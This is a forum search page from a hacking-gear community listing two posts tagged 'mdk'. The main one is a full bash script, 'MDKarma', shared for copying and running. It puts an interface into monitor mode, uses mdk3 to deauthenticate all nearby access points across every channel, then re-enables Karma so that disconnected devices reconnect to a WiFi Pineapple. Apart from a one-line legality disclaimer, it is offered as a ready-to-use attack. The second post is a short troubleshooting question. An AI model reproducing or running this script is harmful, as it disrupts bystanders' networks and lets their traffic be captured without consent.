Jump to content

Search the Community

Showing results for tags 'mdk'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


  • Talk
    • Everything Else
    • Gaming
    • Questions
    • Business and Enterprise IT
    • Security
    • Hacks & Mods
    • Applications & Coding
    • Trading Post
  • Hak5 Gear
    • Hak5 Cloud C²
    • WiFi Pineapple Mark VII
    • USB Rubber Ducky
    • Bash Bunny
    • Key Croc
    • Packet Squirrel
    • Shark Jack
    • Signal Owl
    • LAN Turtle
    • Screen Crab
    • Plunder Bug
  • O.MG (Mischief Gadgets)
    • O.MG Cable
    • O.MG DemonSeed EDU
  • WiFi Pineapple (previous generations)
    • WiFi Pineapple TETRA
    • WiFi Pineapple NANO
    • WiFi Pineapple Mark V
    • WiFi Pineapple Mark IV
    • Pineapple Modules
    • WiFi Pineapples Mark I, II, III
  • Hak5 Shows
  • Community
    • Forums and Wiki
    • #Hak5
  • Projects
    • SDR - Software Defined Radio
    • Community Projects
    • Interceptor
    • USB Hacks
    • USB Multipass
    • Pandora Timeshifting

Find results in...

Find results that contain...

Date Created

  • Start


Last Updated

  • Start


Filter by number of...


  • Start





Website URL







Enter a five letter word.

Found 2 results

  1. Hey guys! I am currently making a script that basically : -Asks for a MAC to avoid. -Asks how long to deauth for -Asks what interface to deauth on -Disables karma -Puts wlan0 into RFMON (Monitor Mode) -Starts MDK3 Deauthing for x amount of seconds inputted at the beginning -After x amount of seconds, Stops MDK3 -Removes mon0 -Starts karma again The point of this script is that it deauths all nearby access points then enables karma so that the people will reconnect to the pineapple, Allthough this can be done manually I thought a nice script would be nice that did it for you :) Run this script by copy/pasting into a file and call it mdkarma.sh, then do chmod +x mdkarma.sh, then do ./mdkarma , Incase it wasn't obvious, when I update the script, you have to the new code with the existing script you have... ***Module Development and further script development*** As suggested by some people, I have decided to take a go at developing a pineapple module that will automate 'attacks' such as the MDKarma script and other tricks I have planned from a UI, as well as flexibiltiy such as being able to edit the scripts to suit your needs without SSH'in into the pineapple to edit... I hope you all share your edits too and continue with feedback that helps add features :).... -------------------------------------------------------------------------------------------------------------------------------------- Edit : Version 1.2 - Fixed Channel Hopping, Added Whitelisting and added spacing for easier reading :) Edit : Version 1.2.3 - Added Whitelisiting. Please give some feedback and any improvements :) Code : #!/bin/bash #Part of the Pineapple Mojito Framework #Made by Foxtrot #Version 1.2.3 #Intro echo "!! This script is to be used only for legal, safe and authorised uses !!" echo "MDKarma V1.2.3" sleep 6 #Ask how long to deauth for echo -n "How long (In Seconds) to deauth for? : "; read deauthTime #Ask what Interface echo -n "What interface would you like to deauth on? : "; read deauthInterface #Ask if you want to whitelist read -r -p "Do you want to add a whitelist? [Y/n] " response if [[ $response =~ ^([yY][eE][sS]|[yY])$ ]] then echo " " echo "Whitelist Created!" echo " " touch whitelist.txt read -r -p "MAC Address to add : " macaddr echo $macaddr >> whitelist.txt else echo " " echo "Avoiding Whitelist Creation!" echo " " fi #Put wlan0 up echo "Checking Interface wlan0 is up...." wifi sleep 3 #Stop Karma echo " " echo "Killing Karma...." hostapd_cli -p /var/run/hostapd-phy0 karma_disable > /dev/null sleep 3 #Put deauthInterface into monitor mode echo " " echo "Putting $deauthInterface into monitor mode...." airmon-ng start $deauthInterface > /dev/null sleep 3 #Start deauthing with MDK3 and stop echo " " echo "Deauthing Access Points with MDK3...." mdk3 mon0 d -w whitelist.txt -c 1,2,3,4,5,6,7,8,9,10,11,12,13,14 & sleep $deauthTime && killall mdk3 sleep 3 #Kill airmon-ng and start Karma again. echo "Removing mon0 and enabling karma...." airmon-ng stop mon0 > /dev/null wifi hostapd_cli -p /var/run/hostapd-phy0 karma_enable > /dev/null sleep 3 #Finish echo " " echo "MDKarma Finished!" -Foxtrot
  2. In a nutshell - I start MDK and everything appears to be working as I expect to it. After a minute or two the client devices stop seeing the broadcasting device Its almost like the wifi adapter has been put in power saving mode but is not when I look. I can repeat this issue 100% of the time. Tried on various hosts with various wifi adapters. Same results each time. Thoughts?
  • Create New...